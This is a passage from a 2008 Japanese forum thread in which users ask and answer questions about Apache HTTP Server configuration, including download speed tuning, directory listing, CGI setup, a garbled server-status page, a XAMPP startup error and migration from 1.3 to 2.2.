928DNS未登録さん:2008/08/13(水) 09:29:36 ID:???
ぐぐったのですが、ワードが悪いのですかね。
検索ワード色々変えて探してみます。
ありがとうございました!
929DNS未登録さん:2008/08/13(水) 16:58:47 ID:???
mod_auth_form って何種類かあるんでしょうか?
混乱しています。

Apache2 Module 'mod_auth_form'
http://comp.uark.edu/~ajarthu/mod_auth_form/

Apache Module mod_auth_form
http://httpd.apache.org/docs/trunk/mod/mod_auth_form.html

mod_auth_form 0.0.3リリース
http://module.jp/blog/mod_auth_form3.html
930926:2008/08/13(水) 17:49:47 ID:???
すみません。926です。
検索の中から同じような症状の方を見つけて
EnableSendfile off
のコメントアウトを取り除くとのことでしたが、取り除いて保存した後Apacheをリスタートしてもあまり結果は変わりませんでした。
大体1ファイル500kb/sが限界のようで2ファイルを同時に落としてもらうと両方とも500kb/s出るようなので回線の頭打ちと言うことはないと思うのですが。

927さんの仰っているのはEnableSendfile offのことではないのでしょうか?
931DNS未登録さん:2008/08/14(木) 01:04:24 ID:???
バージョンいくつよ?
932DNS未登録さん:2008/08/14(木) 05:11:22 ID:???
ヴァージョンなんか関係ないだろ
散々既出なんだしスルーしとけ
933DNS未登録さん:2008/08/14(木) 06:29:22 ID:???
>>932
教えてやれよ
934DNS未登録さん:2008/08/14(木) 10:09:21 ID:???
環境やバージョンもろくに書かないやつにまともな答えは返ってこない。
あと、特定のバージョンで問題が出ることも調べたらわかる。
935DNS未登録さん:2008/08/14(木) 11:01:24 ID:???
>>930
ウチの Apache 2.2.9 on WinXP でも EnableSendfile off だけでは速度が上がらず、
SendBufferSize に大きな値を設定したら改善しました。

参考までに、
ウチはBフレッツVDSLなのですが、OSでMTU=1454,TcpWIN=260176に設定した上で、
SendBufferSize 260176
にしています。OSのTcpWINと同じ値にしたことについては特に根拠はありません。

この状態で2MBytes/s以上の速度で転送出来ています。
ウチのVDSL上り実測値が20Mbps前後なのでほぼ回線限界です。
ちなみにLAN内だともっと速度が出ています。
936DNS未登録さん:2008/08/17(日) 15:46:52 ID:WyBMUMFr
質問させてください。

Windowsのapache2を使っているのですが、
URLからディレクトリを指定して、そのディレクトリ内の
ファイルをすべて閲覧できるように設定したいのですが
どのように設定すれば実現できるのでしょうか。
よろしければ教えてください。
937DNS未登録さん:2008/08/17(日) 16:19:49 ID:???
>>936
Options Indexes

ってかデフォルトで
見える設定じゃなかったっけ?
938DNS未登録さん:2008/08/17(日) 16:46:52 ID:WyBMUMFr
>>937
<directory>でディレクトリを指定したら見れるようになりました。
ありがとうございます。

ついでで申し訳ないのですが、表示されるファイル名に
20バイトのバイト数制限がかかっているのですが
制限を取り払って、ファイル名すべてを表示させる方法はないでしょうか。
あつかましくて申し訳ございませんがよろしくお願い致します。
939DNS未登録さん:2008/08/17(日) 16:52:06 ID:???
940DNS未登録さん:2008/08/17(日) 17:17:21 ID:???
>>939
無事出来ました。ありがとうございました!
941DNS未登録さん:2008/08/18(月) 16:05:32 ID:bv/vqFoE
mod_dbdでの認証を仕掛けているのですが、テーブルにある暗号化していないパスワードを利用することは出来ないんでしょうか?
942DNS未登録さん:2008/08/18(月) 19:41:58 ID:???
windows版apacheで帯域制限モジュールを探してるんですが、
条件分岐で制限掛けられるものは無いでしょうか?

例えば鯖最大で3072k/sec
その中で1ユーザーの最大DL速度は1024k/sec
xDSL等の比較的遅い回線を含むDL中のユーザーが存在する場合は、トータルで最大帯域に到達した時点で任意で503出したりとか

今はmod_bwでユーザー数を絞っているものの、低速回線が紛れると他ユーザーも503になるのが若干難点で
943DNS未登録さん:2008/08/18(月) 20:16:37 ID:???
>>942
ユーザ側の回線なんてどうやって判別する気だ?
944DNS未登録さん:2008/08/18(月) 22:36:14 ID:???
>>943
判別が付かないから条件分岐なんじゃ
最大で3072
1userで1024

それ未満だったら最大の3072付近までぶら下げる
それ以上ならテンポラリ-を返すって事でしょ?

多分そこまで出来るモジュールは無いと思うけど
linuxでも無いからwindowsだと更に無理な気がする
945DNS未登録さん:2008/08/19(火) 07:58:31 ID:???
>>944
帯域なんて瞬間的なものだから意味のある判別なんてできないって。

ユーザセッションをモジュール側で記憶して接続当初からの帯域平均値を計算する
などの手法をとればできなくはないが、こうすると今度はSYN floodで落ちる
すばらしいサーバになるだけ。
946DNS未登録さん:2008/08/19(火) 11:42:57 ID:YrCavG9z
Windows 2000 に Apache 1.3.39で現在動いてます。

ハードごと新しくして、Windows XP に Apache 2.2.4 を入れようと思ってますが、
httpd.confの書き方がかわってますよね?

バーチャルホストの設定をhttpd.confに書かずに
Include conf/extra/httpd-vhosts.conf
とする等。

httpd.conf一枚に全部書いた方が管理しやすいと思うのですが、
分けるメリットを教えてください。

また、1.3系でのhttpd.confをそのまま使うことはできますでしょうか?

947DNS未登録さん:2008/08/19(火) 16:37:15 ID:???
>>946
意味のある単位で分けたほうが分かりやすいという考え方。
1万行もあるhttpd.confは見たくない。

ただ、付属のはサンプルだから、勝手に自分で好きに書いていい。
無理して分ける必要はない。
948946:2008/08/20(水) 14:07:59 ID:???
>>947
1万行・・・。
なるほど。

個人が自宅サーバで管理してる程度なので
1枚に書いておきます。

サンクスです。
949DNS未登録さん:2008/08/21(木) 22:26:23 ID:+HWWS0Yw
前にapache2.0.63のhttpd.confを下のURLの通りに
ttp://win.kororo.jp/archi/www/apache_fast.php
CGIまで設定し、その時はCGI使えたのですが
1週間ぶりぐらいにパソコン開いて試したらできなくなってました・・・
これってどこか設定ができてないのでしょうか?
ちなみに再インストールしてURLの通りやったら今回はできませんでした。
よかったら上記の設定のほかに何が必要か教えてください。
OSはwindowsVistaでCGIのローカルテストするためにapacheを入れてます。
CGIは.cgiファイルにしてるしhttpd.confの設定の通りcgi-binのフォルダのなかに入れているので
間違いはないとおもうのですが・・
950DNS未登録さん:2008/08/21(木) 22:49:32 ID:+HWWS0Yw
>>949です。
・・・すみませんCGIのルートディレクトリがhtdocs/cgi-binではなく
apache2/cgi-binでそこに置いたらできました・・・
たぶん>>949の文見た方居ないと思いますがありがとうございました。
951DNS未登録さん:2008/08/22(金) 08:52:21 ID:???
server-statusが見たい為、
下記の設定をしました。
実際、クライアントから
見ると、
「東京 (標準時)」
という部分が文字化けします。
ソースにcharset=Shift_JISと
つけてくれれば問題は
解決すると思うのですが、
そういうことは可能でしょうか?
可能であれば、どのように
記述すればよいか教えてください。

<Location /server-status>
SetHandler server-status
Order Deny,Allow
Deny from all
Allow from 192.168.100.1
</Location>
952DNS未登録さん:2008/08/22(金) 09:50:23 ID:???
>>951
OS,Apacheの言語設定はどうしましたか?
953DNS未登録さん:2008/08/22(金) 09:56:44 ID:???
東京 (標準時)のままで出したいのか、TOKYO(JST)とかにしたいのか
954951:2008/08/22(金) 10:48:07 ID:???
>>952-953

言語設定は特にしてないです。
httpd.confの中身の話ですよね?

東京 (標準時)と出したいですが、
化けなければ、特にこだわりません。
955951:2008/08/22(金) 11:13:24 ID:???
OSはWinXPです。
956951:2008/08/22(金) 12:32:45 ID:???
試しにクライアントにapacheを入れて、
http://localhost/server-statusにアクセスすると
同じく文字化けする。。。
957DNS未登録さん:2008/08/22(金) 12:59:19 ID:???
バージョンいくつ?
うちでソース見てみたけど、2.2.0はtext/htmlのみなのに、
2.2.6はtext/html; charset=ISO-8859-1に強制的になってて
変えるの難しそう。
958951:2008/08/22(金) 13:18:49 ID:???
>>957
2.2.9

ちょっと出来そう。
出来たら報告しにきます。
959951:2008/08/22(金) 14:52:59 ID:???
ダメだ。やっぱり出来ん。
以下の様に無理やり、出力ソースを
いじったが、ソースは変更されるが、
表示は化けたままだ。

<Location /server-status>
SetHandler server-status
Order Deny,Allow
Deny from all
Allow from localhost


AddOutputFilterByType SUBSTITUTE text/html
Substitute "s|<head>|<head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=Shift_JIS\">|"

</Location>
960DNS未登録さん:2008/08/22(金) 15:38:50 ID:???
Apache起動時のロケールを変えられりゃいいんだけどね。
サービスの設定の開始パラメータじゃ無理そうだし・・・
961DNS未登録さん:2008/08/22(金) 15:48:55 ID:???
2.2.6以降でserver-statusのヘッダにcharsetが指定されてるのは、
文字コード誤判別を利用したXSS防止のため
962951:2008/08/22(金) 16:23:44 ID:???
あきらめるしかないのかな?
963951:2008/08/22(金) 16:56:23 ID:???
Header always set Content-Type "text/html; charset=Shift_JIS"

ヘッダを変更しようとしましたが出来ませんでした。。。
964DNS未登録さん:2008/08/22(金) 16:58:23 ID:???
Apacheモジュールの修正 & コンパイルしか方法は無いのかもな
965DNS未登録さん:2008/08/22(金) 17:01:18 ID:???
んなもんパッチあてりゃいいだろって
Windowsだとそうはいかないなw
966DNS未登録さん:2008/08/22(金) 17:03:19 ID:???
AdministratorのデフォルトのロケールをCにできれば
標準とかの漢字は無くなるとは思うんだけど、環境変数で済むのかわからん。
967951:2008/08/22(金) 17:08:06 ID:???
強引だけど、出来たw

Header always set " Content-Type" "text/html; charset=Shift_JIS"
968DNS未登録さん:2008/08/22(金) 17:10:14 ID:???
>>967
ちょwwwwwww
969951:2008/08/22(金) 17:16:03 ID:???
強引でしょ?w
IE6は騙されてくれたwww
970951:2008/08/22(金) 17:32:07 ID:???
ダメだ。
他のページの表示も遅くなった。
なぜだろう?

もう、バグフィックスしてくれるのを
待ちます。

相談に乗ってくれた方、
ありがとうございました。
971DNS未登録さん:2008/08/22(金) 20:17:43 ID:???
IEの言語設定でjp取れば済む話じゃないの?
972DNS未登録さん:2008/08/23(土) 11:29:31 ID:???
xamppインストール直後、
apacheを起動すると
DocumentRootエラーが出ます。

Syntax error on line 1 of -c/-C directives:
DocumentRoot must be a directory

httpd.confを見てもそれらしい記述は見つかりませんし
どこを直せばいいのでしょうか?
973DNS未登録さん:2008/08/23(土) 14:05:06 ID:???
DocumentRootをなおせ。
無ければ作れ。
974DNS未登録さん:2008/08/23(土) 16:36:44 ID:???
>>973
httpd.confに記述された
DocumentRootはすべて適切なものになっているようです。
他にDocumentRootを書き換えるべきファイルがあるんですか?
975DNS未登録さん:2008/08/23(土) 16:52:55 ID:???
だからよ、1行目エラーが出てるんだから1行目書いてみろよ
976DNS未登録さん:2008/08/23(土) 17:06:59 ID:???
httpd.confの一行目でよいでしょうか?
# This is the main Apache HTTP server configuration file. It contains the

と書いてあります
977DNS未登録さん:2008/08/23(土) 17:13:30 ID:???
別のhttpd.confっぽいな。
978DNS未登録さん:2008/08/23(土) 17:20:52 ID:???
Syntax error の前の行は何か出てないのか?
979DNS未登録さん:2008/08/23(土) 17:32:27 ID:???
もう、httpd.conf全部をここに書け
980DNS未登録さん:2008/08/23(土) 17:52:39 ID:???
質問スレではないのにスレを汚してしまって、
皆さん本当に申し訳ないです

今問題のhttpd.confにでたらめに記述してわざとエラーを出させたのですが

Syntax error on line 1 of C:/xampp/apache/conf/httpd.conf:

こんな感じに、右側に問題があるファイル名が記述されています。
一方問題のエラーの場合だと、右側にof -c/-C directivesと書いてあります。
-c/-C directivesというドキュメントが存在して、問題があるということなんでしょうか?

>>977
いま確認してみたのですが、起動したapacheのhttpd.confだと思います。
>>978
記述したもので、エラーの内容はすべてです・・・
>>979
レス行制限が厳しいです・・・
バージョンは、Apache 2.2.9 + xampp-win32-1.6.7です
xamppは新規インストールしたままなので、
コレで内容は判断できませんでしょうか?
981DNS未登録さん:2008/08/23(土) 18:00:55 ID:???
サービスの開始パラメータに何か入ってないか?
982DNS未登録さん:2008/08/23(土) 18:16:08 ID:???
>>981
ちょっと難しいことはよくわからないのですが、
管理ツールのサービスのことでよろしいでしょうか?

Apache統合スレ 9 (HTTPServer以外も含む)
http://pc11.2ch.net/test/read.cgi/mysv/1219482693/
983982:2008/08/23(土) 18:18:26 ID:???
レス途中に送信してしまいました
開始パラメータの行が空白なのですが
これでよろしいでしょうか?
984DNS未登録さん:2008/08/23(土) 18:18:53 ID:???
>>982

テンプレのバージョンが違ってる
985DNS未登録さん:2008/08/23(土) 18:20:31 ID:???
一個一個インストールしてみては?
986DNS未登録さん:2008/08/23(土) 18:23:42 ID:???
>>984
このスレの2レス目を参照に書き換えたのですが
間違っていますか?
>>985
xamppではなく、apache単体でインストールするということでしょうか?
そうならやってみようとおもいます
987DNS未登録さん:2008/08/23(土) 18:28:13 ID:???
>>984
すいません間違っていますね

Apache/2.2.9
Apache/2.0.63
Apache/1.3.41

であっていますか?
988DNS未登録さん:2008/08/23(土) 18:37:21 ID:???
>>986
うん、なにがしたいのか分からんけど、
apache単体でインストールしてみては?
989DNS未登録さん:2008/08/23(土) 20:49:43 ID:???
ちょっとこの人には無理な気がしてきた。
990DNS未登録さん:2008/08/24(日) 20:35:09 ID:???
RH6で動いているApache 1.3.20サーバーを、新しいサーバー機(RH9)へ移行するため、
Apache 2.2.9への移行作業を行うのですが、1.3.20のhttpd.confより、2.2.9の方が、
随分簡略化されている印象なのですが
PidFile
ScoreBoardFile
ServerType
Timeout
keepAlive その他
これらの、設定項目が無くなっているんですが、特にこれらの設定は、しなくてもいいんですよね?
また、バージョンアップに伴う、注意点などあれば、ご指摘願います。
991DNS未登録さん:2008/08/25(月) 07:51:33 ID:???
>>990
まずはRedHatをやめれ。
992DNS未登録さん:2008/08/25(月) 10:06:25 ID:???
そうだな。いまさらRedHat9ってのも…。
せっかくならCentOSにせいや。
993DNS未登録さん
「付属のhttpd.confにあらかじめ書かれている値」と
「ディレクティブのデフォルト値」の違いを理解するのが大事だな